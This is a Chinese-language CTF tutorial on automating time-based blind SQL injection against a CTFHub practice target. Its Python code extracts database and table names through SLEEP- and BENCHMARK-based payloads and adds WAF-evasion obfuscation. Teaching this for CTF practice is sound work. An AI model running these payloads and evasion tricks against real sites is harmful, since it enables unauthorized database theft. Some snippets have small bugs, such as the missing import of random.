CTF时间盲注实战：从手工猜解到Python脚本自动化（以CTFHub靶场为例）
在CTF比赛中，时间盲注（Time-Based Blind SQL Injection）是最考验选手耐心与技巧的漏洞利用方式之一。与常规注入不同，时间盲注不会直接返回数据或错误信息，而是通过服务器响应时间的差异来推断查询结果的真伪。传统手工猜解方式虽然直观，但在实际比赛中往往效率低下——一个简单的flag值可能需要数百次请求才能完整提取。本文将带你跨越手工阶段，用Python构建自动化脚本，在CTFHub靶场实战中实现高效精准的时间盲注攻击。
1. 时间盲注自动化核心原理
时间盲注的本质是通过条件语句控制数据库的延时行为。典型的攻击语句如：
1 AND IF(ASCII(SUBSTR(DATABASE(),1,1))>100, SLEEP(3), 0)当字符ASCII码大于100时，服务器会延迟3秒响应。自动化脚本需要实现以下核心功能：
- 精确计时：记录请求发起与响应到达的时间差
- 二分法猜解：通过算法快速缩小字符ASCII码范围
- 容错机制：处理网络波动导致的异常延时
- 结果重组：将逐个字符的猜解结果拼接为完整数据
关键阈值设定示例：
| 参数类型 | 推荐值 | 说明 |
|---|---|---|
| 基准延时 | 3秒 | 确保明显区分正常响应 |
| 超时阈值 | 5秒 | 避免因网络问题导致脚本卡死 |
| 重试次数 | 3次 | 对不确定的字符进行验证 |
| 延时误差补偿 | ±0.5秒 | 应对服务器负载波动 |
2. Python自动化脚本架构
以下是模块化的脚本框架设计，采用面向对象方式实现：
import requests import time class TimeBasedSQLi: def __init__(self, target_url): self.url = target_url self.session = requests.Session() self.timeout = 5 self.delay_threshold = 3 self.headers = {'User-Agent': 'Mozilla/5.0'} def measure_response_time(self, payload): start_time = time.time() try: response = self.session.get( self.url, params={'id': payload}, headers=self.headers, timeout=self.timeout ) elapsed = time.time() - start_time return elapsed >= self.delay_threshold except: return False def binary_search_char(self, query_template, position): low, high = 32, 126 # ASCII可打印字符范围 while low <= high: mid = (low + high) // 2 payload = query_template.format( char_pos=position, ascii_val=mid ) if self.measure_response_time(payload): low = mid + 1 else: high = mid - 1 return chr(high)3. 实战：CTFHub靶场自动化攻击
3.1 数据库名提取
针对CTFHub时间盲注题目，我们首先自动化获取数据库名称：
def get_database_name(self, max_length=20): # 判断数据库名长度 length = 0 for l in range(1, max_length+1): payload = f"1 AND IF(LENGTH(DATABASE())={l},SLEEP(3),0)" if self.measure_response_time(payload): length = l break # 逐字符猜解 db_name = [] query = "1 AND IF(ASCII(SUBSTR(DATABASE(),{char_pos},1))>{ascii_val},SLEEP(3),0)" for pos in range(1, length+1): db_name.append(self.binary_search_char(query, pos)) return ''.join(db_name)3.2 表名与字段提取
获取数据库名后，继续自动化提取表名：
def get_tables(self, db_name, max_tables=5): # 获取表数量 table_count = 0 payload = f"1 AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db_name}')={{count}},SLEEP(3),0)" for count in range(1, max_tables+1): if self.measure_response_time(payload.format(count=count)): table_count = count break # 获取每个表名 tables = [] query = "1 AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='{}' LIMIT {{table_index}},1),{{char_pos}},1))>{{ascii_val}},SLEEP(3),0)".format(db_name) for idx in range(table_count): table_name = [] # 先判断表名长度 length_payload = f"1 AND IF(LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}' LIMIT {idx},1))={{length}},SLEEP(3),0)" length = 0 for l in range(1, 50): if self.measure_response_time(length_payload.format(length=l)): length = l break # 逐字符猜解 for pos in range(1, length+1): table_name.append(self.binary_search_char(query.format(table_index=idx), pos)) tables.append(''.join(table_name)) return tables4. 高级优化技巧
4.1 网络波动处理
实际环境中需要添加重试机制和异常处理：
def safe_measure(self, payload, retries=3): for attempt in range(retries): try: result = self.measure_response_time(payload) if result is not None: return result except requests.exceptions.RequestException: time.sleep(1) return False4.2 并行化加速
使用多线程加速猜解过程（注意不要触发WAF）：
from concurrent.futures import ThreadPoolExecutor def parallel_char_guess(self, query_template, positions): results = {} with ThreadPoolExecutor(max_workers=5) as executor: futures = { executor.submit( self.binary_search_char, query_template, pos ): pos for pos in positions } for future in futures: results[futures[future]] = future.result() return results4.3 结果缓存与恢复
长时间运行时可保存进度：
import json def save_progress(self, filename, data): with open(filename, 'w') as f: json.dump(data, f) def load_progress(self, filename): try: with open(filename) as f: return json.load(f) except: return None5. 防御对抗与绕过技巧
现代WAF会检测异常的时间延迟请求，我们可以通过以下方式增强隐蔽性：
- 随机延时：在基准延时上添加随机波动
- 请求间隔：控制请求发送频率
- 混淆技术：使用注释符和大小写变异
示例混淆payload：
def generate_obfuscated_payload(self, base_payload): variations = [ base_payload.replace(" ", "/**/"), base_payload.upper(), base_payload.replace("AND", "AnD"), base_payload + "-- randomcomment" ] return random.choice(variations)在真实CTF比赛中，我曾遇到一个过滤了SLEEP()函数的题目，最终通过BENCHMARK()函数实现延时：
payload = "1 AND IF(ASCII(SUBSTR(DATABASE(),1,1))>100,BENCHMARK(10000000,MD5(NOW())),0)"这种灵活应对的能力正是自动化脚本的优势所在——只需修改少量代码即可适应不同防御机制。
